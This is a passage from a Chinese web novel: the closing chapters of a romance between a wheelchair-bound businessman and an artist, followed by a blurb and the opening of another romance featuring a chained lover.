手掌渐渐回温,就像是身上的毛毯起了作用,路珩好心情地应了简清的话。
根据后座的动静,在同一辆车里的赵不愠还是能猜出一二——他的老板有妻管严的势头。
但他是真心实意为路珩高兴。
“简清,好了,不用再暖了。”
路珩抽了抽手,没能抽回来,被简清死死压住。
“你叫我什么?”
“简……清?”,路珩不确定,“阿清?”
手还是被死死压住,路珩再次试探,“清宝?”
“嗯。”
简清笑得眼睛迷成了月牙状,“路宝。”
路珩:……
他没想到,简清能这么不稳重。
谈起恋爱腻死人。
后来,手也不了了之了,简清一直为他暖着。直到到了医院,简清因为
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要抱他,所以松开了手。而后,他整个人被简清弯腰抱了起来。
路珩抿唇不语,耳根子通红一片,也不知是烧狠了,还是羞的。他双眼紧闭,将头埋在对方的怀里。
独特的广玉兰,淡淡的萦绕在路珩的鼻尖。
他知道,这是外国某家小众的熏香。
很少有人喜欢。
他也是其中一个。
“想什么呢?”
针扎上了,人也躺下了,路珩整个人迷迷糊糊的,让做什么就做什么。简清担忧,可别真烧傻了。
“不会变傻的。”
路珩一眼就看出来眼里未说的话。
简清点头回应,而后像是深水炸弹一样的话,投入了路珩那幽幽深潭里,炸出层层浪花。
“路珩,我想亲你。”
“可以。”
路珩弯唇,声音朗润,看向简清的眸子里盛满了柔情,快要将简清溺死。
多巴胺总是出现的很恰当,就像天热有冰棍,天冷有电热毯。浓情蜜意的氛围里,它疯狂产生,大脑极致兴奋,一秒就火花四射,烧得理智就地化为灰烬。
简清摁着路珩,动作间刻意避开打着吊瓶的手。他左手与之相扣,不断靠近,纠缠着路珩的呼吸,几乎化为实质的目光侵略着路珩。
空气里静得可怕,心脏仿佛要跳出来一样,如雷震耳。
路珩没有动,在简清吻上自己眼皮的时候,忍不住眼皮一颤,手指下意识蜷缩,握紧了简清的手。
这个吻,温柔到了极致。
满是简清对路珩的珍视。
他以为,是亲嘴唇……
路珩有些羞赧,手松了松。
简清微微后退,也仅是微微,两人相隔几息,对方说话的气息喷洒而来,恍然间,路珩听到了对方很轻很温柔的话。
他说,路珩抬头。
路珩下意识抬头,下一秒唇上一热,他更加清楚地看清了对方。简清真的很白,皮肤也很好。
不合时宜的,路珩跑神了。
简清气笑了,牙齿不轻不重咬了对方一下,手摩挲起对方的指尖,含糊不清骂道:“我的吸引力这么小吗?”
路珩瞬间明白,舌尖下意识舔向嘴唇,却误入“歧途”……他放任对方的所作所为,在失控边缘无限徘徊。
……
“路珩,我爱你。”
克制?
在简清这里不存在的,他哥总说,搞艺术的,情绪总是很外放。热情时如火燎原,而淡漠时酷似腊月寒冰冻人心。
简清他,就是一个极端。
恋爱谈得轰轰烈烈,该放手绝对毫不留恋,看似矜贵绅士十足,骨子里却心狠冷漠。
“知道了。”
路珩指尖抵着简清的额头,慢慢将人抵开。毕竟简清是一个成年男子,靠得他肩膀发麻,一点都没有病人家属的自觉,倒是让他这个病人遭老罪,“肩膀麻了。”
简清哼哼几声,开玩笑似的,“那换一边?”
“不,我累,想睡觉。”
路珩直接拒绝,怎么说简清都是成年男子,他禁不住。
“行叭行叭,知道你想睡我,给你睡。”
不要钱似的骚话一大框一大框,简清的目的很简单,上床睡觉。
路珩自然也懂,脸皮真厚。
他不禁想,看来被他拒绝表白后还死缠烂打很是符合简清做风。
“别闹,我有些累了。”
山上的时候,为了节省时间,他让赵助理先一步去开车。而他也不是只在原地等,那大多半的路程是他摇着轮椅走完的,泥泞的山路,不注意就会误入水坑。
对身体上来说,很累。
禁不住,路珩打了一个呵欠,神色困倦。而那因发烧而升起的红晕,与那苍白的唇色形成了鲜明的对比。
路珩虚弱极了,现在。
简清心疼了,放弃想要上床睡觉的想法。
说出的话,像是哄手心里的宝贝似的。
“睡吧,我会守着你。”
他没有再闹路珩,起身扶着路珩躺下。虽然过程中路珩面对他帮助时身体依旧有些僵硬,但路珩没有拒绝,默认了他的帮助。
这对他简清来说,无疑是令他心生愉悦的。
简清为路珩掖了掖被子,早已经干燥温暖的手搭在了路珩输液的手腕处,“别担心,我在。”
路珩想说他并不担心,也不害怕。但在感受到温热的大手时,他想,那些话好像没有必要了。
不是吗?
躺下后,路珩看简清就不方便了,他望着天花板,眨了眨眼睛,心口处是酸涩的满足。
而后微阖双眼,感受着这一刻欢闹般的宁静。
突然,倦然声音响起。
“简清,回去后我们同居吧。”
闭上眼睛的路珩,脑袋像是感应他做好准备似的,开始混混沉沉的。并没有听到回答的他,也没有力气再张口询问了。就这么想着答案,睡着了。
惊喜从天而降,简清没有料到,路珩会提出同居。他以为,这条路会走的异常艰辛。
语气轻轻,简清缓慢靠近路珩,“乐意至极。”
“嘀嗒嘀嗒——”
房间外,哗哗的雨滴拍打着窗户,发出清脆的声音,宛如柔和的指尖弹奏着肖邦小夜曲,缠绵而又悱恻。
简清眉眼柔和,轻轻为睡着的路珩掖了掖被子。他瞧着睡着的路珩,眼里全然都是柔和。
和他想的没错,路珩壳子里的要比壳子外的柔和万倍。
而这,仅仅只会独属于他。
7. 第 7 章
路珩的烧来的快退的也快,大概在第二日清晨,要人命的高烧就已经退下。经过一上午的观察,在没有反复低烧后,两人出了院。
刚出了院,路珩就一心扑入了工作里。因为连续两天的暴雨下,施工地有小部分发生了坍塌。幸运的是,在他下令下,工地没有人在这次暴雨里受伤。
不幸的是工期要往后延伸,资金超出预估,另外一边的合同可能要延后。虽然不至于合同被毁约,但到底面上还是因为路珩监管不当。
总是要落人口舌的。
简清是搞艺术的,对于商业上的,他一向是不感兴趣的。
但是因为看到路珩近几天总熬夜,他开始学着接触一些简单的东西。
比如……
在路珩累的时候,给他送上一杯热水。
好吧,那些复杂难以理解的东西,简清看了只觉得头大。他总是闲不下来。起初,路珩不知道,在简清提及要陪他的时候,他略加思索便同意了。
而后,路珩真的烦不胜烦。
和他在一起工作的简清,突然像是有了多动症一样,上一秒揪着他的衣摆,凑着头往他这边看,想要他左手边的图纸,下一秒,又能直接吧唧他一口,欢乐起身往外走去。
等到过一会,简清又会拿着两杯果汁蹦跶着回来。
简清实在是太闲了……最后,路珩决定给简清找一些事做。
“之前总是听说简小公子的画千金难求,不知道今日我是否有幸能请你为我做一幅画。”
路珩嘴角嗜着一抹笑意,眼神柔和,望向简清的眼神像是一汪海洋。
他在勾引我。
简清凑近,亲了一口路珩,眉开眼笑,“当然,我的荣幸。”
找来了作画的工具,很简单,一张纸一根铅笔。
简清转了一圈,寻找着光线,构图最合适的位置。
最后,他选择坐在窗户的一边。
搬来及腰凳子,他随意坐在凳子边缘,一只腿曲着放在横档上,一只放在地上,靠着墙壁观察了起来。
很帅。
简清想。
“半天了,怎么不见你动笔呢?”
路珩依旧看着手里的文件,修长的手指搭在文件边缘,微微弯曲,像极了百年的温玉。
细腻,白皙。
“画不出来。”
简清很是诚实,“我无法作为一个旁观者,去客观的去观察你。”
每一次的注视,都是作为伴侣、爱人,带着强烈的个人情感。
“嗯?”
路珩从文件里抽离,所谓隔行如隔山,他其实不太明白简清这句话。
“理解一下,对于你我毫无抵抗力。”
简清从不屑于隐藏自己的情感,他时时刻刻表现出来的,那种灼热的感情,足矣令路珩失控。
“挺会说的。”
路珩评价。
“有奖励吗?”
简清得寸进尺,他放下了手里的纸,跳下凳子,朝路珩走去。走到路珩身侧后,他习惯性蹲下身子,手撑在一边的轮椅上。
很是注意,并没有触碰路珩的腿。
路珩眼光闪烁,抿唇,“你想要什么奖励。”
“陪我出去逛一逛吧。”
都待一天了,再待就要长出蘑菇了。
“好。”
路珩将合同合上,收拾好放在一边,“去哪里?不过,我得先跟秘书知会一声,先将我看过的拿走。”
“是是是,大忙人。”
简清起身,将一边的桌子上的手机递给路珩,然后绕到路珩身后,推着他,“吩咐完,剩下的钱时间是属于你男朋友我的了。”
“好。”
路珩应着,手机打开,给秘书发了消息,收到肯定的答复后,他关上手机,正准备将手机放入口袋,简清的手伸了过来。
路珩:“?”
轮椅停了下来。
“给你换一个壁纸。”
简清接过手机,换好后还给了路珩。
那是一张充满生命张力的风景图。
落霞大团堆积,映衬在清澈的湖泊里,天水相连。雁子迅速掠过湖泊,惊起阵阵涟漪,像是搅弄了天空,惊扰了天地间的宁静,带来活力。
自然与生命极致碰撞,有一种向阳而生的感觉。
路珩眼里浮现出欣赏之意。
简清笑问,“好看吧?”
“好看。”
路珩毫不吝啬自己的夸奖。
“作为交换,路珩先生回去的时候帮我也订上一张机票吧。”
……
走的时候是两个人,回来的时候是三个人。路珩的生活像是没有变化,依旧是上下班,无趣又枯燥。
但,其实某些方面并不是一成不变的。
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>路珩望着推开门的简清,对方说,来接他回家。手里拿着一束花,发型是精心打扮过的,靠近的时候还能闻到淡雅的小苍兰味道。
十分清新,带着一丝柔和。
简清对接他的这件事十分看重。
这是路珩第一反应,他望着简清,视线停留在那束花上,“很漂亮。”
“只有花吗?”
“不止。”,路珩笑,“还有你,很帅。”
“呦呦呦,终于从路大少爷嘴里听到了对我的夸奖。”
简清打趣着。
“我以前没有夸奖过你吗?”
路珩疑惑,他待人一向温和。
“那不一样,你这人看着温润如玉,十分容易接近,其实呢”
“其实什么?”
“其实包裹一层又一层的,不好接近。”
路珩笑,并没有反驳。
—
路珩和简清在一起的消息,很快传遍整个圈子。对于两个人在一起,其实众人大都有所预料。简清追路珩那个劲,是个关注这方面的人都能看出来。
众人都感叹若路家与简家联手,那肯定是一场血雨腥风。如今,两家连了姻,这合作怕是要顺利成章了。
酒吧,卡座。
简清待在角落里,独自喝着酒。一边喊他过来充门面的发小已经彻底喝高。
将手里的酒饮完,简清起身就要走。
“简二,你去那里?”
神志不清,还知道要抓人。
简清都要气笑了。
谁家好人在这里相亲,特别是相亲对象还没来,自己先玩起来了。
“回家,找老公,睡觉。”
“我靠,简二,你是sh ?ou`”
七曲八折,一个字的音,上上下下。
简清没有说话,这一声怒吼,所有人都看向了他俩。脚趾抓地,简清忍着骂人的冲动。
“简二,听说做下面的,唔,很废腰,屁股……”
一忍过后,没有再忍的道理,这一次的相亲注定要失败了。
因为,没有人能看上脸肿得老高的小胖子。
简清一巴掌拍了过去,清脆的响声,音乐停了下来。
简清眨眼,开口解释道:“有蚊子。”
被打了的人,后知后觉摸了摸脸,迷茫询问,“打死了吗?”
“打死了。”
8. 第 8 章
“你是说我哥哥不配吗?”
路闲笑眯眯的,抬眸,将手机直接扔到了桌面上,朝刚刚窃窃私语的人勾了勾手指,红唇轻启,“再说一遍,让我听听来。”
外传,路闲最讨厌的人就是路珩,没有之一。
因此,即使两人感受到危险,依旧开了口。
“路珩一个残疾人,简清是谁?即使不是简家长子,那也是圈子里身份高贵的人,怎么可能对路珩是真心的,一个残”
“残废”两个字没说完整,路闲抬手拿起一边的杯子,直接扔了过去。
“咚——嘭——”
杯子直接扔向说话的男人,砸在头上后,掉在了地上。
瞬间周围寂静下来,音乐声戛然而止。
“怎么,路珩配不上简清,你们配?”
路闲今年二十岁,一头浅棕色的卷发,脸上的稚气未消退,他蔑视的神情,虽没有那种极致的压迫,却嚣张无比。
“不可以,不不不,是不配。”
“路哥,小胖不是故意的。”
“就是,路哥。他嘴没有把门,你是知道的。”
路闲此刻就像是炮竹,谁点就会爆炸。
“我知道个屁,我今天就把话撂在这里了,路珩他娘的是我哥,我亲哥!我再怎么不喜欢,管你们屁事,要你们屁话一大堆。”
“路哥。”
众人也有些下不来台面,一时间,所有人心情都不怎么好。
但,路闲他们这一群里面的老大,是家长再三叮嘱要打好关系的人。
“你消气,小胖快赔罪。”
酒精上头,路闲觉得闷得慌,十分的烦躁,平常挺喜欢的氛围,现在觉得无比的厌恶。
路闲随手扔了一张卡,起身离开。
走到门口的时候,路闲给手机里置顶的人拨了一个电话。意料之中,被人挂了。
路闲更烦了,骂又骂不得,手机捏了又捏,最后,抬头准备离开。
却意料之外,看到了……
他哥。
以及……那个活在谣言里的简清。
路闲眯眸,往一边走了走,借柱子将自己完全笼罩在黑暗里。
其实,路闲也不知道自己为什么第一反应是躲起来。
只是,就那样做了。
路闲看着远处,两人靠得极其近。他想,要不是隔着轮椅,不然,他俩肯定粘在一起,拉都拉不开那种。
就像是,是那网上卖的“不梨不弃”。
暗戳戳翻了个白眼,路闲觉得自己有点猥琐,于是从柱子后离开,想要上前打一个招呼。
然而,没有走几步,他看到了上头的一幕。
他哥被人摁着亲!
那挣扎的手被死死握住,灯光下,他哥完全被笼罩男人的身子之下。
我靠!!!
疯了!!!!
路闲脑袋充血,三两步跑了过去,直接拉住朝他哥犯·骚的人,一拳打了上去。
简清有些懵,因为酒精发懵的脑袋在疼痛的刺激下,有片刻的清醒。而后,他开始防御起来。
拳肉相碰的声音,路珩听着有些懵逼,而后,反应一来,就看到了在地上相互纠缠在一起殴打的两人。路珩心头一紧,想要找助理。却发现,助理被他使唤买醒酒药了。
“卧槽了,他娘的,敢摁着我哥亲,谁她妈给你的胆子???”
响彻天地的怒吼声,路珩眉心一跳,打他男朋友的是他那便宜的弟弟了?
“那我男朋友,关你屁事。”
“你踏马再说一遍!”
又是一拳,不过这一次,简清可不是刚刚不设防的状态,他直接接过那一拳,抬手就要回过去,然而,路珩提高声音,喊了一声。
“都住手!”
简清的拳头一错,打在了一边的地上。
路珩眉眼中闪过心疼,对路闲本就不好的态度,又差了几分,“路闲,你要闹到什么时候,松开他!”
路闲动作一顿,有些怯怯。简清见机,将路闲的手甩开,从地上爬了起来,跑到路珩的身边。
然后,在路闲的注视下,他伸手,眼泪汪汪。
路珩看着血肉模糊的手,想到刚刚他喊的停止,眼中闪过一抹愧疚,张了张嘴,哑声,“对不起。”
简清笑了笑,无所谓,“和你没关系,要实在过意不去亲我一口呗。”
说笑的话,路珩却出乎意料答应了。
“好,回家给你亲。”
路闲心里说不出的酸楚,明明路珩是自己的亲哥哥,凭什么要向着一个外人?
路闲越想越觉得自己不值得,他究竟是为了谁?明明是为了路珩,为了他!
可现在
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,自己倒里外不是人了。
路闲他也从地上爬了起来,酸楚转换为生气。正二十岁的年纪,心气比天还高,傲气得不行。
说出的话,更是不过脑子,那里痛就戳哪里。
“路珩,你这是有多缺爱?随便一个就可以吗?”
在乎哥哥会吃亏的话,从路闲嘴里说出来,堪比火上浇油,冰上浇水。
路珩冷笑,“和你有关系吗?”
“怎么没有关系,毕竟,你还姓路,你还是路锰和柳慧敏的儿子,我俩在法律上可是亲人。”
“所以呢?”
路珩反问。
总是这样子,路珩永远都是这样子,对他不耐烦,对他这个家不耐烦,路闲想,要不是母亲死前说让他俩互相扶持,路珩说不定早早自立门户了。
路闲揉了揉头发,眼里都是烦躁,“路珩,我真他妈是欠你怎么了?能让你这么仇视我。”
相比路闲的狂躁,路珩淡定许多,他看着面前跳脚的人,嘴角浮现一抹讽刺的笑,声音清冷许多,“你怎么会欠我呢?我所有的一切不都是你的吗?”
路闲像是被一键摁下了暂停键,一动不动。
买药的赵助理刚出药店,远远看到车边的情况,然后拔腿就跑。
跑到车边,视线扫过路闲,那一大块的肿胀,让助理心里一颤,急忙回头看向路珩。
而后,没看到伤,默默松了一口气。
刚松气,就看到简清身上的伤。
赵不愠直接倒抽一口凉气,好家伙,他俩怎么打起来了?
“走吧。”
路珩懒得搭理,简清的伤得处理。
赵助理应下,将药给了简清,然后绕到驾驶座。
简清嗤笑一声,看了看路闲,关上车门,绕到另一边坐了上去。
路闲愣着,看着车子启动离开。
久久,不能回神。
所以,他哥在病房里听到了路锰说的所有话。
——“你哥已经是废人了,你也不用装傻了,这个路家是你的。”
——“路闲,路家不养闲人。”
……
当时,他说了什么。
一句“嗯”?
原来如此啊。
路闲啊路闲,你真的是活该。
活该,把本就浅薄的亲情彻底斩断。
9. 第 9 章
醉酒后的简清分外黏人,也分外……热情。
路珩整个人被挤在轮椅的方寸之间,推也推不得,骂也骂不得,被肆意妄为的简清摁着亲。
很单纯的亲吻,一下又一下,跟哄孩子似的。
空隙间,路珩听到了哄人的话。
“珩宝,我喜欢,不,我爱你。”
声音低低的,很是轻柔。
路珩想,简清或许真的把他当孩子在哄了。
“珩宝,你疼不疼?”
路珩心尖一颤,仿佛有什么东西轰然倒塌了。他张嘴,想要说些什么,却看到醉鬼一瞬不瞬地盯着自己的嘴唇看。
他嘴上有什么?
哦,有这醉鬼咬烂的伤痕。
路珩弯眸,唇角上扬,启唇道:“怎么办呢?很疼。”
简清是整个人跨坐在路珩的大腿上的,双手撑在轮椅上,即使醉酒,他也没有忘记路珩有腿伤,所以,路珩其实并没有承受多少重量。
因此,路珩倒也不觉得这个姿势怎么涩情。
反而更进一步,双手楼上简清的腰。
“那”
醉酒的思考总是很奇特,简清歪头,眨了眨眼睛,慢吞吞建议道:“我再舔舔?”
路珩眸中含笑,眼尾上挑,朗润的声音变了变,带着点沙哑,“简清,你知道你在说什么吗?”
“我为什么不知道。”
简清嫣然一笑,说出的话怎么听怎么不对劲,“说不定我就是馋你呢?”
路珩瞧着面前口出狂言的人,他抬手,白皙如玉的手抚上简清的脸。
很轻,简清感觉到了一丝不一样的感觉。
酥酥麻麻的,他下意识将自己往路珩手心送了送。
路珩有些庆幸,赵不愠走之前将醒酒药放在了自己方便的地方。
抠出一粒药,路珩哄人,“张嘴。”
简清很是听话,张开了嘴。
而后,白色的药入嘴,简清下意识想要吐,却被路珩一句话堵了回去。
“咽下去,今晚随你。”
……
简清醒了,是在半夜三点时候醒的。
他从床上爬起来,愣愣地坐在一边。
白色的蚕丝滑落到腰间,他身边睡着的人是路珩。身上隐隐约约的痛觉告诉他,这一切都是真的。
他发酒疯,发了大半夜。
简清觉得自己需要清醒一下,随后,蹑手蹑脚掀开被子下床。
找了找口袋里的烟,握住打火机去了阳台。
昏暗的光线里,路珩睁开了眼睛。
耳边窸窸窣窣的声音没了,只听轻轻的关门声后,整个房间安静下来。
阳台上的简清,关上门后,打火,点烟,塞进嘴里,动作一气呵成,随后将打火机往旁边的桌子一扔,一屁股坐在了椅子上。
忽略了屁股的简清,倒吸一口凉气。
靠,真特么疼。
也是厉害了。
自己动手,强迫了路珩。
简清想骂娘,平日里虽说他多有放肆吧,但是,一直都把握着一个度。
想要循序渐进的心,已死。
简清默默吸了一口烟,惆怅无比,四十五度角仰头望天。黑漆漆的天空,没有一个星星,而月亮也只露出一个小角角。
更悲伤了。
触景生情。
然后,简清望着月亮回忆起醉酒后干的事。
他貌似,把路珩的亲弟弟打了。
悲伤值数:-1-1……
但,路珩好像是站在他这边。
开心指数:+1+1……
简清乐了乐,猛然意识到路珩和他弟弟关系似乎,真的和外界传闻一样,与他和他哥并不一样。
他首先想到的就是,路珩的腿。
那一双腿,对路珩的影响怎么可能只有初恋的抛弃?
是的,简清一早就知道路珩的过去。
对路珩,简清是势在必得。
一根烟,很快燃尽。
简清想了许多。
烟味散的差不多了,他起身回屋。
……
第二日。
简清一大醒来,床上已经没有人了。
他找了一圈,没有找到路珩的身影。看了手机,才发现对方已经去上班了。
简清揉了揉眉心,先回消息,随后,将手机往桌子上一扔,转身回屋洗澡。
找了一身休闲装,简清开车去了市中心。
他买了许多老年人的补品,才驱车去郊外的养老院。
简清的父亲是独子,到简清父亲这里也是独子,本以为只会有简单,却不想简单八岁时候,简清来了。
单传破了。
简清那叫一个手心宝。
子嗣稀薄,这一辈里,只有简清最小。
自小都是大魔王级别的。
却唯独只怕简单。
别人催婚是长辈,简清被催婚是亲哥。
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搞定简单,只有他爷爷行。
不论路珩见不见家长,他家这边的事必须处理妥当。
……
“……既然贵公司没有异议了,这是需要签的合同。”
赵不愠笑着,将合同推了过去。桌子的另一边,衣装革履的男人没有动,他身边的人起身接过合同,放在了男人的面前。
男人垂眸,直接翻到最后一页,拿起笔签名字。
赵不愠心里笑开了花,这么简单就啃下来了这块难啃的骨头?
在翻倍奖金的喜悦下,赵不愠看向对方的眼里多了些真情实感。
合同一式两份,交换签名后,合作正式达成。
“合作愉快。”
秘书俩象征性地握了握手。
路珩弯唇礼貌一笑,“简总,合作愉快。”
“合作愉快,有时间和简清一起回家吃个饭。”
简单点头,周身萦绕震慑人的气魄,说出的话虽然冷,但能听出来里面的善意。
路珩脸上的笑容不变,应了声好。
沉得住气,简单评价。
他弟眼光挺不错的,倘若有一天自己破产了,他弟也不至于沦落街头卖艺。
就这样,在简清费尽心思谋划时,路珩不知不觉就见了家长。
还把对方搞定了。
……
赵助理去送人,会客厅里只剩下了路珩一个人。他揉了揉眉心,拿出了一直振动的手机。
打开手机,全都是简清发的消息。
从聊天框里数十条消息,很直白的感受到简清强烈的分享欲望。
路珩扒拉着手机,一共四张图片,和九条消息。
第一条,问候语。
珩宝,想我吗?
第二条,表达自己情感。
我想你了。
第三条,这里好热,我爷爷是故意的。
配文的图片——简清拿着锄头,自拍照。
第四条,撒娇语。
太热了,你什么时候下班?
路珩笑,简清怎么会不知道他什么时候下班。
大抵是想让他去找他了。
继续往下看着,照片都是简清的自拍照,最后一条消息是一个定位。
路珩点了进去,地图逐渐加载了出来。代表着简清的小绿点不断跳动着,最后距离他大概十几步的距离,停了下来。
路珩意识到。
简清,此刻正在外面。
10. 第 10 章
家长最后还是见了,只不过见之前,简清给路珩套上了一个戒指。
银色的光圈,小小的一个,十分精致。它的中央点缀着细碎的钻石,太阳下泛着微光,如同夜空中闪烁的星星。在碎钻的两边,是一朵雕刻出的小苍兰。
简清垂眸看着戒指,此刻,自己亲手制作的戒指,正戴在路珩修长瘦弱得像是艺术品的手指上,一莹润,一白皙,说不出的契合。
“路珩,最后问你一次,结婚不?”
戒指有些凉,简清说得很郑重,收起了日常里的不正经,倒有些初见时候的样子。
路珩直接微微蜷缩,想要答应的话卡在喉咙里,不上不下,堵得他心口发酸。
明明一切都很好。
明明简清十分喜欢他。
明明他们的感情在不断向好发展。
明明……
他应该答应的啊。
可路珩说不出口,垂眸,就看到了自己的腿。
他站不起来的,而且以后,他的腿会渐渐连痛觉都感知不到的。
那时候,他和截断双腿的人再无区别。
“路珩,我想问你愿不愿意和我过完这一生。”
简清蹲下来,仰头看向路珩,他伸手。
这一次,手放在了路珩的腿上。
路珩下意识抬头,条件反射想要将人推开,那种被人触碰伤疤的应激反应,让他想要找一条缝钻进去。
再也不出来。
可,他的手碰到简清的手时,他脑海里想到的那天晚上。
简清喝醉的那天晚上。
怜惜的吻,带泪的眸。
是无尽的海,极致的柔和。
“路珩,我爱你。”
简清又一次的坚定选择。
又一次啊。
路珩任由自己的手被包围着,百般滋味涌上心头。简清炙热的感情,像是一团火,炙烤着他。
为他驱散灵魂深处的寒冷。
“简清,你比孤独先找到了我。”
路珩以为,孤独一生是自己的归宿。
可,简清一次又一次的表白,一次又一次的坚定选择,他又怎么能让这样好的人,愿望落了空。
“路珩,度蜜月我们去哪里啊?”
简清只觉得鼻尖泛酸,但随后而来的喜悦,彻底充盈自己。他低头吻上那一枚戒指,抬眸,嘴唇上翘,一副不值钱的样子。
“洱海。”
路珩轻声道。
洱海?
简清嘴角的笑意淡了,他飞快敛下自己的异样,笑着答应,“好啊。”
路珩不语,看着简清努力的伪装自己。
柳絮轩的存在,路珩并没有刻意抹去。
简清追着他跑了这么久,他不信,简清会不去查。
而他们的感情,只会是他们的。
他要简清开口自己亲口询问他。
……
然而,直到家长见完,直到寒假来临,简清都没有询问他。
在一次早晨,休息日里,路珩接到了一个电话。
来自柳絮轩的。
“路总。”
柳絮轩换了称呼,和之前的亲昵判若云泥,这两个字里,只有尊敬。
“嗯,是我。”
柳絮轩的心脏再次强烈的跳动了起来。
那是听到了爱的人声音的反应。
柳絮轩摁了摁心口,稳了稳心神,想到自己的来意,他再三斟酌口开口询问:“您是和简二少在一起了吗?”
“是的。”
柳絮轩的恭敬虽然让路珩觉得奇怪,但,现在和路珩没有关系了。
“他”
柳絮轩想要说简清不是一个简单的人,他能为了了解你的过去,四处花钱,四处警告,只是为了那些被掩埋的不堪过往,但,话到嘴边,他想起了简清说得最后一句话。
——“我们准备去洱海度蜜月,希望柳先生能在我离开之前,将你知道的告诉我。”
洱海。
路珩母亲最喜欢的地方。
也是,他母亲的久眠之地。
路珩曾提及过这个地方,而他们也确实定了机票。但……最后为什么没能去了呢?
柳絮轩握紧了手机,心口像是被一只大手死死抓住,令他呼吸困难。
是因为他工作不稳定,所以推迟了。
然后,一直迟到了现在。
路珩身边变了一个人。
电话另一头久久没有声音,路珩耐心等着,并没有催促。
柳絮轩嘴里泛苦,他从过去里抽离,才意识到路珩已经等了很久。
一同往日,静静等着他。
柳絮轩逼着自己听着了回想,他怕自己彻底绷不住,而后,压着情绪,张嘴询问,“你喜欢他吗?”
“不。”
柳絮轩的呼吸急促了起来。
但,下一秒,他的所有心沉入了无尽的深渊。
“我爱他。”
泪,潸然而下。
柳絮轩捂住手机,压抑着哭声。
没有人会心疼。
特别是路珩。
他不会再心疼了的。
“简先生好像知道我们俩的往事了,他来找过我,我想,这些事你亲口和他说会比较好。”
柳絮轩迅速说着,声音之中,能听出来的他此刻的难受。
路珩听出来的,但,他装作了没听出来,对柳絮轩道谢,“谢谢。”
“没事,我还有事,先挂了。”
刚说完,电话就被挂断了。
路珩放下手机,扭头看向了门口,开口说道:“出来吧。”
桌子上的镜子,刚好看浴室门口。
简清擦着头发走了出来,没擦几分钟,简清直接将毛巾扔在了一边,肉眼可见,他的烦躁。
“生气了?”
路珩轻声询问,想要动的身子僵硬了一下,而后若无其事坐了回去。
很正常的现象,腿残疾至今。他还是不习惯,有时候他会措不及防意识到自己的残缺。
比如,在这个时间,他其实更想下床,去抱一
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抱简清的。
就这么一个简单的动作。
路珩其实很难完成。
但,简清可以。
简清注意到,哼唧一声,起身走到床边,扑进了路珩的怀里。
“为什么是洱海?”
问题一出,路珩弯眸笑了,“我母亲喜欢。”
简清下意识抬头,看到了路珩不加掩饰的笑,随后像是意识到什么,他伸手拧住路珩腰间的软肉。
“笑屁,还有呢?”
“哪里很美,母亲住在哪里。”
“啧,坏心眼。”
……
洱海没有去,先过除夕了。
除夕只有路珩和简清两人。
年货、衣服……都是两个人亲手准备的。
除夕大团圆的那晚,两人围着吃了火锅。饭后,简清收拾了碗筷。
路珩坐在客厅,看着简清忙来忙去的身影,眼里盛满了笑意。
他像是吃了一颗独属于自己的糖。
因为没有人会来分享,所以满是隐秘的欢喜。
收拾完后,两人坐在客厅看起了电视。
路珩的腿上盖着毛毯,脖子上围着围巾。大红色的,衬得路珩红光满面的。
简清十分满意。
十点的时候,天空飘起了鹅毛大雪。简清兴致来临,拉着路珩要去堆雪人。
可,刚下的雪,怎么会有积雪堆雪人呢?
但,路珩点头同意了。
打开门,随着冷风,雪飘飘荡荡落在了两人的身上。简清脖子也有一根围巾,是路珩挑选的。
灰色的。
很符合路珩的审美。
和他大红色不一样。
两人最后没堆上雪人,倒是绕了一圈,淋了一身的雪。鹅绒般大的雪,很快染白了两人的头发。
路灯下,简清突然乐出了声,笑着说。
——珩宝,你变老了,成老头了。
路珩脸上浮现出一丝丝浅浅的笑意,一副迁就的的模样,回道。
——你也是,变老了。
“路先生,我们初五去洱海吧?”
“好啊。”
“初六我生日嘞,和你母亲一起过。”
“我也想和你一起过。”
“不和你过,我要和我婆婆一起过,她开心了,我以后就是你的了。”
“那你们俩一起过。”
……
简清搓了搓手,绕到路珩的身后,再次推起来轮椅。
没有救没关系。
他以后会是路珩的腿。
等老了,他用钱请护工。
再不济,抱养哥哥的孩子。
日子,总能过的。
他和路珩总能走下去。
……
多年以后的一个清晨,路珩刚睁开眼睛,脸边就被吧唧了一口,而后是一句再也普通不过的问候
——早啊,我的路先生。
路珩扬唇,回复
——早上好,简先生。
——完——
11. 简介
宋清隽,一头黄毛,手拿一段钢筋,成了二街谁都不敢惹的刺头。整个二街都流传着他欺男霸女,无恶不作事迹。
好在上天有眼,报应不爽,宋清隽死了。
死后的宋清隽,没去轮回,而是身怀系统穿进了狗血霸总文里。
系统说,成功完成剧情任务就能离开。
为此,宋清隽勤勤恳恳,尽力扮演一个心机白月光。
却不料。
成了黄月光。
宋清隽欲哭无泪,明明说好的卖艺不卖身的!为什么总有人
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觊觎他的……
他想逃,他逃不了。
一座以爱为名的牢笼,彻彻底底把他囚了起来。
(插个队~)
虚构/2024年8月21日
宋清隽X周耀
左右有意义
12. 第 12 章
郊区,落枫别墅二楼主卧。
昏暗的灯光里,暧昧气息弥漫。床上两个身影交错,原本盖在身上的薄被,不知何时已经落地。
宋清隽难耐的咬上男人的肩膀,眸中氤氲出星星泪花,他紧紧揪着床单,指骨泛白,动作间发出脆耳的铁链碰撞声。
呼吸交缠在一起,温度不断上升。
泪滑落,隐没在白色床单之中。
青年再也忍不住,呜咽了一声。下一秒,嘴直接被堵上了。
……
宋清隽疲惫不堪,脑袋懵懵的,手腕被磨得发疼。他偷摸看了看,发现红了一圈,心里的猜测得到印证,眼圈发酸。
烦闷生气之下,他将自己完全掩埋进被窝里,也懒得询问身边人的伤势。直接将其当做一团空气,丝毫没有小情侣事后的亲昵。
周耀上身没有穿衣服,手里捏着一根未点燃的烟,锋利的眉眼染着淡淡的愁苦,平日里含笑的桃花眼,此刻平静至极,仿佛刚刚的纠缠只是幻想。
“宋清隽,你还在想着他吗?”
他垂眸,视线落在了床上的铁链上,往里延伸,他知道,这根铁链锁着的是青年的手腕。
宋清隽听不清对方说什么,只顾得生气。本想要要对方再说一遍,然而生气状态里的宋清隽懒得出奇,谁都不想搭理。
于是,室内一片静默。
“宋清隽!”
冰冷的话语,仿佛是腊月里寒风。
宋清隽烦躁地把自己往被窝里塞了塞,话没过脑子,直接闷声“嗯”道。
周耀自嘲一笑,眉眼中的愁苦倒是少了不少,眼神平静地可怕,疯狂之色若隐若现,手里的烟早已经变形。
“宋清隽”
轻飘飘的,像是一个石子掷入幽深的古谭,泛起丝丝涟漪,却无甚反响。
宋清隽睡着了,并未回应。
周耀想要质问,目光却在触及那抹艳红,心一下满足了起来。
